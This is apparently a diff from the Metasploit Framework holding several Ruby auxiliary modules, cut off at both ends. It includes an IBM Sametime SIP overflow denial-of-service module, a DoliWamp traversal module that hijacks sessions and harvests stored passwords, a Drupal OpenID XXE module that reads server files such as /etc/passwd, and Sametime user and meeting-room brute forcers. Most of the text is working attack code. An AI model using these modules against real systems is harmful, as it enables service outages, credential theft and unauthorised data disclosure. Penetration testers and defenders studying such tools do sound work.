if dos_result
print_good("#{peer} - User is offline, DoS was successful")
else
print_error("#{peer} - User is still online")
end
end
def peer
"#{rhost}:#{rport}"
end
def dos_user
length = 12000 # enough to overflow the end of allocated memory
msg = create_message(length)
res = send_msg(msg)
if res.nil?
vprint_good("#{peer} - User #{@sipuri} is no responding")
return true
elsif res =~ /430 Flow Failed/i
vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)")
vprint_good("#{peer} - User #{@sipuri} is no longer responding")
return true
elsif res =~ /404 Not Found/i
vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)")
vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session")
return true
elsif res =~ /200 OK/i
vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
return false
else
vprint_status("#{peer} - Unexpected response")
return true
end
end
# used to check the user is logged into Sametime and after DoS to check success
def check_user
length = Rex::Text.rand_text_numeric(2) # just enough to check response
msg = create_message(length)
res = send_msg(msg)
# check response for current user status - common return codes
if res.nil?
vprint_error("#{peer} - No response")
return false
elsif res =~ /430 Flow Failed/i
vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)")
return false
elsif res =~ /404 Not Found/i
vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session")
return false
elsif res =~ /200 OK/i
vprint_good("#{peer} - User #{@sipuri} is online")
return true
else
vprint_error("#{peer} - Unknown server response")
return false
end
end
def create_message(length)
# create SIP MESSAGE of specified length
vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long")
source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
source_host = Rex::Socket.source_address(datastore['RHOST'])
src = "#{source_host}:#{datastore['RPORT']}"
cseq = Rex::Text.rand_text_numeric(3)
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
branch = Rex::Text.rand_text_alphanumeric(7)
# setup SIP message in the correct format expected by the server
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
data << "Max-Forwards: 80\r\n"
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
data << "User-Agent: #{source_user}\r\n"
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
data << message_text
return data
end
def timing_get_once(s, length)
if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
return s.get_once(length, datastore['TIMEOUT'])
else
return s.get_once(length)
end
end
def send_msg(msg)
begin
s = connect
# send message and store response
s.put(msg + "\r\n\r\n") rescue nil
# read response
res = timing_get_once(s, 25)
if res == "\r\n"
# retry request
res = timing_get_once(s, 25)
end
return res
rescue ::Rex::ConnectionRefused
print_status("#{peer} - Unable to connect")
return nil
rescue ::Errno::ECONNRESET
print_status("#{peer} - DoS packet successful, host not responding.")
return nil
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("#{peer} - Couldn't connect")
return nil
ensure
# disconnect socket if still open
disconnect if s
end
end
end

View File

@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(80),
OptBool.new('CHECK', [false, 'Only check for vulnerability', false]),
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
], self.class)
end
@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary
end
def check
if check_cf
return Msf::Exploit::CheckCode::Vulnerable
end
Msf::Exploit::CheckCode::Safe
end
def check_cf
vuln = false
url = '/CFIDE/adminapi/customtags/l10n.cfm'
res = send_request_cgi({
@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary
return
end
if(not check)
if(not check_cf)
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
return
end
if (datastore['CHECK'] )
print_good("#{peer} is vulnerable and most likely exploitable") if check
return
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),

View File

@ -0,0 +1,202 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
'Description' => %q{
This module will extract user credentials from DoliWamp - a WAMP
packaged installer distribution for Dolibarr ERP on Windows - versions
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
tokens in filenames in the 'tmp' directory. A directory traversal
vulnerability in 'jqueryFileTree.php' allows unauthenticated users
to retrieve session tokens by listing the contents of this directory.
Note: All tokens expire after 30 minutes of inactivity by default.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
],
'DisclosureDate' => 'Jan 12 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
], self.class)
end
#
# Find session tokens
#
def get_session_tokens
tokens = nil
print_status("#{peer} - Finding session tokens...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
'cookie' => @cookie,
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 404
print_error("#{peer} - Could not find 'jqueryFileTree.php'")
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
print_good("#{peer} - Found #{num_tokens} session tokens")
else
print_error("#{peer} - Could not find any session tokens")
end
return tokens
end
#
# Get user's credentials
#
def get_user_info(user_id)
vprint_status("#{peer} - Retrieving user's credentials")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie,
'vars_get' => Hash[{
'action' => 'edit',
'id' => "#{user_id}"
}.to_a.shuffle]
})
if !res
print_error("#{peer} - Connection failed")
elsif res.body =~ /User card/
record = [
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
]
unless record.empty?
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})")
return record
end
else
print_warning("#{peer} - Could not retrieve user credentials")
end
end
#
# Verify if session cookie is valid and return user's ID
#
def get_user_id
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => @cookie
})
if !res
print_error("#{peer} - Connection failed")
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
user_id = "#{$1}"
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'")
return user_id
else
vprint_status("#{peer} - Could not hijack session. Session is invalid.")
end
end
#
# Construct cookie using token
#
def create_cookie(token)
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
})
if !res
print_error("#{peer} - Connection failed")
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/
return "DOLSESSID_#{$1}=#{token}"
else
print_warning("#{peer} - Could not create session cookie")
end
end
#
# Show progress percentage
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
#
def progress(current, total)
done = (current.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
vprint_status("#{peer} - Trying to hijack a session - " +
"%7s done (%d/%d tokens)" % [percent, current, total])
end
#
# Check for session tokens in 'tmp'
#
def check
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def run
return unless tokens = get_session_tokens
credentials = []
print_status("#{peer} - Trying to hijack a session...")
tokens.flatten.each_with_index do |token, index|
if @cookie = create_cookie(token) and user_id = get_user_id
credentials << get_user_info(user_id)
end
progress(index + 1, tokens.size)
end
if credentials.empty?
print_warning("#{peer} - No credentials collected.")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Dolibarr User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
)
credentials.each do |record|
report_auth_info({
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => record[0],
:pass => record[1],
:source_type => 'vuln'
})
cred_table << [record[0], record[1], record[2], record[3]]
end
print_line
print_line("#{cred_table}")
loot_name = 'dolibarr.traversal.user.credentials'
loot_type = 'text/csv'
loot_filename = 'dolibarr_user_creds.csv'
loot_desc = 'Dolibarr User Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status("Credentials saved in: #{p}")
end
end

View File

@ -0,0 +1,233 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal OpenID External Entity Injection',
'Description' => %q{
This module abuses an XML External Entity Injection
vulnerability on the OpenID module from Drupal. The vulnerability exists
in the parsing of a malformed XRDS file coming from a malicious OpenID
endpoint. This module has been tested successfully on Drupal 7.15 and
7.2 with the OpenID module enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Reginaldo Silva', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-4554' ],
[ 'OSVDB', '86429' ],
[ 'BID', '56103' ],
[ 'URL', 'https://drupal.org/node/1815912' ],
[ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ],
[ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
],
'DisclosureDate' => 'Oct 17 2012'
))
register_options(
[
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
], self.class)
end
def xrds_file
element_entity = <<-EOF
<!ELEMENT URI ANY>
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
EOF
xml = Document.new
xml.add(DocType.new('foo', "[ #{element_entity} ]"))
xml.add_element(
"xrds:XRDS",
{
'xmlns:xrds' => "xri://$xrds",
'xmlns' => "xri://$xrd*($v*2.0)",
'xmlns:openid' => "http://openid.net/xmlns/1.0",
})
xrd = xml.root.add_element("XRD")
xrd.add_element(
"Status",
{
"cid" => "verified"
}
)
provider = xrd.add_element("ProviderID")
provider.text = "xri://@"
canonical = xrd.add_element("CanonicalID")
canonical.text = "http://example.com/user"
service = xrd.add_element("Service")
type_one = service.add_element("Type")
type_one.text = "http://specs.openid.net/auth/2.0/signon"
type_two = service.add_element("Type")
type_two.text = "http://openid.net/srv/ax/1.0"
uri = service.add_element("URI")
uri.text = "METASPLOIT"
local_id = service.add_element("LocalID")
local_id.text = "http://example.com/xrds"
return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
end
def check
signature = Rex::Text.rand_text_alpha(5 + rand(5))
res = send_openid_auth(signature)
unless res
vprint_status("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if drupal_with_openid?(res, signature)
return Exploit::CheckCode::Detected
end
if generated_with_drupal?(res)
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def run
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
exploit
end
def primer
res = send_openid_auth(get_uri)
if res.nil?
# nothing to do here...
service.stop
return
end
unless res.code == 500
print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
end
error_loot = parse_loot(res.body)
# Check if file was retrieved on the drupal answer
# Better results, because there isn't URL encoding,
# plus probably allows to retrieve longer files.
print_status("#{peer} - Searching loot on the Drupal answer...")
unless loot?(error_loot)
# Check if file was leaked to the fake OpenID endpoint
# Contents are probably URL encoded, plus probably long
# files aren't full, but something is something :-)
print_status("#{peer} - Searching loot on HTTP query...")
loot?(@http_loot)
end
# stop the service so the auxiliary module ends
service.stop
end
def on_request_uri(cli, request)
if request.uri =~ /#{@prefix}/
vprint_status("#{peer} - Signature found, parsing file...")
@http_loot = parse_loot(request.uri)
return
end
print_status("#{peer} - Sending XRDS...")
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
end
def send_openid_auth(identifier)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, "/"),
'method' => 'POST',
'vars_get' => {
"q" => "node",
"destination" => "node"
},
'vars_post' => {
"openid_identifier" => identifier,
"name" => "",
"pass" => "",
"form_id" => "user_login_block",
"op" => "Log in"
}
})
return res
end
def store(data)
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
print_good("#{peer} - File found and saved to path: #{path}")
end
def parse_loot(data)
return nil if data.blank?
# Full file found
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
return $1
end
# Partial file found
if data =~ /#{@prefix}\/(.*)/m
return $1
end
return nil
end
def loot?(data)
return false if data.blank?
store(data)
return true
end
def drupal_with_openid?(http_response, signature)
return false if http_response.blank?
return false unless http_response.code == 200
return false unless http_response.body =~ /openid_identifier.*#{signature}/
return true
end
def generated_with_drupal?(http_response)
return false if http_response.blank?
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
return false
end
end

View File

@ -0,0 +1,306 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'enumerable'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Notes Sametime User Enumeration',
'Description' => %q{
This module extracts usernames using the IBM Lotus Notes Sametime web
interface using either a dictionary attack (which is preferred), or a
bruteforce attack trying all usernames of MAXDEPTH length or less.
},
'Author' =>
[
'kicks4kittens' # Metasploit module
],
'DefaultOptions' =>
{
'SSL' => true
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 27 2013'
))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The path to the userinfo script', '/userinfo/search']),
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]),
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during bruteforce', 2])
], self.class)
register_advanced_options(
[
OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]),
OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']),
OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']),
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
OptInt.new('Threads', [ true, 'Number of test threads', 10])
], self.class)
end
def setup
# setup the desired charset
@charset = []
# setup array to hold user data
@user_data = []
if datastore['DICT'].blank?
# populate charset - lowercase only as search is case insensitive
case datastore['CHARSET']
when "alpha"
("a".."z").each { |alpha| @charset.push(alpha) }
when "num"
("0".."9").each { |num| @charset.push(num) }
when "alphanum"
("a".."z").each { |alpha| @charset.push(alpha) }
("0".."9").each { |num| @charset.push(num) }
end
if datastore['SpecialChars']
datastore['SpecialChars'].chars do | spec |
@charset.push(Rex::Text.uri_encode(spec))
end
end
print_status("#{peer} - Performing Bruteforce attack")
vprint_status("#{peer} - Using CHARSET: [#{@charset.join(",")}]")
else
print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})")
end
if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2
# warn user on long runs
print_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
end
# create initial test queue and populate
@test_queue = Queue.new
if datastore['DICT'].blank?
@charset.each { |char| @test_queue.push(char) }
else
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
vprint_status("#{peer} - Loaded #{@test_queue.length} values from dictionary")
end
@depth_warning = true
@retries = []
end
def run
print_status("#{peer} - Testing for IBM Lotus Notes Sametime User Enumeration flaw")
# test for expected response code on non-existant uid/email
if datastore['TYPE'] == "UID"
random_val = Rex::Text.rand_text_alpha(32)
else
random_val = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'ctype' => 'text/html',
'vars_get' => {
'mode' => datastore['TYPE'].downcase,
'searchText' => random_val
}
})
begin
if res.nil?
print_error("#{peer} - Timeout")
return
elsif res.code != 200
print_error("#{peer} - Unexpected response from server (Response code: #{res.code})")
return
elsif JSON.parse(res.body)
# valid JSON response - valid response for check
print_good("#{peer} - Response received, continuing to enumeration phase")
end
rescue JSON::ParserError,
print_error("#{peer} - Error parsing JSON: Invalid response from server")
return
end
# start test handler
test_handler
# ouput results
output_results
end
def test_handler
print_status("#{peer} - Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
test_length = 1 # initial test length set
until @test_queue.empty?
t = []
nt = datastore['Threads'].to_i
nt = 1 if nt == 0
if @test_queue.length < nt
# work around issue where threads not created as the queue isn't large enough
nt = @test_queue.length
end
begin
1.upto(nt) do
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
Thread.current.kill if not test_current
# provide feedback to user on current test length
if datastore['DICT'].blank? and test_current.length > test_length
test_length = test_current.length
print_status("#{peer} - Beginning bruteforce test for #{test_length} character strings")
end
res = make_request(test_current)
# check response to see if an error was returned, if so wait 1 second and retry
if res.nil? and not @retries.include?(test_current)
# attempt test again as the server was too busy to respond
# correctly - error returned
print_error("#{peer} - Error reading JSON response, attempting to redo check for \"#{test_current}\"")
@test_queue.push(test_current)
@retries << test_current
if @retries.length == 10
print_error("#{peer} - Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
end
elsif res
# check response for user data
check_response(res, test_current)
end
end
end
t.each {|x| x.join }
rescue ::Timeout::Error
ensure
t.each {|x| x.kill rescue nil }
end
end
end
# make request and return response
def make_request(test_current)
# combine test string with PRE and POST variables
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
# Apply timing information to pause between making requests - not a timeout
if datastore['TIMING'] > 0
Rex::sleep(datastore['TIMING'])
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'ctype' => 'text/html',
'vars_get' => {
'mode' => datastore['TYPE'].downcase,
'searchText' => tstring
}
})
end
# check the response for valid user information
def check_response(res, test_current)
begin
# check response exists AND that it validates as JSON before proceeding
if res.code.to_i == 200 and not JSON.parse(res.body).blank?
# successful response - extract user data
extract_user(res)
# extend test_queue to search for further data (not if dictionary in use)
extend_queue(test_current) if (datastore['DICT'].blank?)
end
rescue JSON::ParserError
# non-JSON response - server may be overloaded
return error
end
end
def extract_user(res)
# extract user data if not already present
begin
userinfo = JSON.parse(res.body)
unless @user_data.flatten.include?(userinfo['uid'])
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
# print newly discovered users straight to the screen if verbose mode is set
vprint_good("#{peer} - New user found: #{userinfo['uid']}")
report_user(userinfo['uid'])
end
rescue JSON::ParserError
print_error("#{peer} - Error reading JSON string, continuing")
end
end
# extend the test queue if MAXDEPTH value not exceeded
# checks made to ensure duplicates are not created when extending
# process:
#
# when a user is found searching for 'a' the queue for 'a' is extended as
# only the first user starting with 'a' will be returned (e.g. 'aanderson')
# To find all users the queue must be extended by adding 'aa' through to 'az'
def extend_queue(test_current)
if test_current.length < datastore['MAXDEPTH']
@charset.each do | char |
@test_queue.push(test_current + char)
end
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1
vprint_status("#{peer} - Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
@depth_warning = false
end
end
def report_user(username)
report_note(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => 'sametime',
:type => 'ibm_lotus_sametime_user',
:data => "#{username}",
:update => :unique_data
)
end
def output_results
# print output table
user_tbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "IBM Lotus Sametime Users",
'Prefix' => "\n",
'Indent' => 1,
'Columns' =>
[
"UID",
"Email",
"CommonName"
])
# populate tables
@user_data.each do | line |
user_tbl << [ line[0], line[1], line[2] ]
end
if not user_tbl.to_s.empty?
print_good("#{peer} - #{@user_data.length} users extracted")
print_line(user_tbl.to_s)
else
print_error("#{peer} - No users discovered")
end
end
end

View File

@ -0,0 +1,191 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'enumerable'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Notes Sametime Room Name Bruteforce',
'Description' => %q{
This module bruteforces Sametime meeting room names via the IBM
Lotus Notes Sametime web interface.
},
'Author' =>
[
'kicks4kittens' # Metasploit module
],
'DefaultOptions' =>
{
'SSL' => true
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 27 2013'
))
register_options(
[
Opt::RPORT(443),
OptString.new('OWNER', [ true, 'The owner to bruteforce meeting room names for', '']),
OptPath.new('DICT', [ true, 'The path to the userinfo script' ]),
OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
], self.class)
register_advanced_options(
[
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
OptInt.new('Threads', [ true, 'Number of test threads', 10])
], self.class)
end
def run
print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
print_status("Using owner: #{datastore['OWNER']}")
# test for expected response code on non-existant meeting room name
rval = Rex::Text.rand_text_alpha(64)
uri = target_uri.path
@reqpath = normalize_uri(uri, '/restapi')
res = send_request_cgi({
'uri' => @reqpath,
'method' => 'GET',
'ctype' => 'text/html',
'vars_get' => {
'owner' => datastore['OWNER'],
'permaName' => rval
}
})
unless res
print_error("#{peer} - No response, timeout")
return
end
if res.code == 404 and res.body =~ /Room does not exist/i
vprint_status("#{peer} - Server responding to restapi requests as expected")
else
print_error("#{peer} - Unexpected response from server (#{res.code}). Exiting...")
return
end
# create initial test queue and populate
@test_queue = Queue.new
@output_lock = false
# TODO: If DICT is unreadable (missing, etc) this will stack trace.
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
vprint_status("Loaded #{@test_queue.length} values from dictionary")
print_status("#{peer} - Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")
while(not @test_queue.empty?)
t = []
nt = datastore['Threads'].to_i
nt = 1 if nt <= 0
if @test_queue.length < nt
# work around issue where threads not created as the queue isn't large enough
nt = @test_queue.length
end
begin
1.upto(nt) do
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
Thread.current.kill if not test_current
res = make_request(test_current)
if res.nil?
print_error("#{peer} - Timeout from server when testing room \"#{test_current}\"")
elsif res and res.code == 404
vprint_status("#{peer} - Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
else
# check response for user data
check_response(res, test_current)
end
end
end
t.each {|x| x.join }
rescue ::Timeout::Error
ensure
t.each {|x| x.kill rescue nil }
end
end
end
# make request and return response
def make_request(test_current)
# Apply timing information
if datastore['TIMING'] > 0
Rex::sleep(datastore['TIMING'])
end
res = send_request_cgi({
'uri' => @reqpath,
'method' => 'GET',
'ctype' => 'text/html',
'vars_get' =>
{
'owner' => datastore['OWNER'],
'permaName' => test_current
}
})
end
# check the response for valid room information
def check_response(res, test_current)
begin
if res.code.to_i == 200
json_room = JSON.parse(res.body)
# extract room information if there is data
output_table(json_room, test_current) unless json_room.blank?
end
rescue JSON::ParserError
# non-JSON response - server may be overloaded
return
end
end
def output_table(room_info, test_current)
print_good("New meeting room found: #{test_current}")
# print output table for discovered meeting rooms
roomtbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}",
'Prefix' => "",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Key",
"Value"
]
)
room_info['results'][0].each do |k, v|
if v.is_a?(Hash)
# breakdown Hash
roomtbl << [ k.to_s, '>>' ] # title line
v.each do | subk, subv |
roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty?
end
else
roomtbl << [ k.to_s, v.to_s || "-"] unless v.nil?
end
end
# output table
print_good(roomtbl.to_s)
end
end

View File

@ -0,0 +1,322 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
URLS = [
'/stmeetings/about.jsp',
'/stmeetings/serverversion.properties',
'/rtc/buildinfo.txt',
'/stmeetings/configuration?format=json&verbose=true'
]
PROXY_URLS = [
'/stwebclient/i18nStrings.jsp',
'/stwebclient/communityserver',
'/stwebav/WebAVServlet?Name=WebPlayerVersion'
]
JSON_KEYS = [
'communityRef',
'anonymousEnabled',
'calinteg.enabled',
'docshare.fileio.codebase',
'docshare.native.codebase',
'docshare.remote.url',
'meetingroom.allowGuestAccess',
'meetingroomcenter.allowGuestAccess',
'meetingroomcenter.customLoginPage',
'meetingroomcenter.enforceCSRFToken',
'meetingroomcenter.enforceHiddenRooms',
'meetingroomcenter.passwords',
'meetingserver.statistics.jmx.enabled',
'rtc4web.enforceNonce',
'userInfoRedirect',
'userInfoUrlTemplate',
'meetingroomcenter.stProxyAddress',
'meetingroomcenter.stProxySSLAddress'
]
INFO_REGEXS = [
# section, key, regex
[ 'version', 'sametimeVersion', /lotusBuild">Release (.+?)<\/td>/i ],
[ 'api', 'meeting', /^meeting=(.*)$/i ],
[ 'api', 'appshare', /^appshare=(.*)$/i ],
[ 'api', 'docshare', /^docshare=(.*)$/i ],
[ 'api', 'rtc4web', /^rtc4web=(.*)$/i ],
[ 'api', 'roomapi', /^roomapi=(.*)$/i ],
[ 'api', 'recordings', /^recordings=(.*)$/i ],
[ 'api', 'audio', /^audio=(.*)$/i ],
[ 'api', 'video', /^video=(.*)$/i]
]
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Sametime Version Enumeration',
'Description' => %q{
This module scans an IBM Lotus Sametime web interface to enumerate
the application's version and configuration information.
},
'Author' =>
[
'kicks4kittens' # Metasploit module
],
'DefaultOptions' =>
{
'SSL' => true
},
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 27 2013'
))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']),
OptBool.new('QuerySametimeProxy', [ true, "Automatically query Sametime proxy if found", true]),
OptBool.new('ShowVersions', [ true, "Display Version information from server", true]),
OptBool.new('ShowConfig', [ true, "Display Config information from server", true]),
OptBool.new('ShowAPIVersions', [ true, "Display API Version information from server", false])
], self.class)
register_advanced_options(
[
OptBool.new('StoreConfigs', [ true, "Store JSON configs to loot", true])
], self.class)
end
def check_url(url, proxy='')
cgi_options = {
'uri' => normalize_uri(target_path, url),
'method' => 'GET'
}
if proxy.empty?
checked_host = datastore['RHOST']
else
checked_host = proxy
cgi_options.merge!({
'rhost' => proxy, # connect to Sametime Proxy
'vhost' => proxy # set appropriate VHOST
})
end
vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(target_uri.path, url)}\"")
res = send_request_cgi(cgi_options)
if res.nil?
print_status("#{checked_host}:#{rport} - Did not respond")
return
elsif res.code == 403
print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}")
return
elsif res.code != 200
print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server")
return
end
if url.include?('WebAVServlet')
# special handler for WebAVServlet as body is JSON regardless of content-type
begin
res_json = JSON.parse(res.body)
rescue JSON::ParserError
print_error("#{checked_host}:#{rport} - Unable to parse JSON response")
end
extract_webavservlet_data(res_json)
elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html")
extract_data(res.body, url)
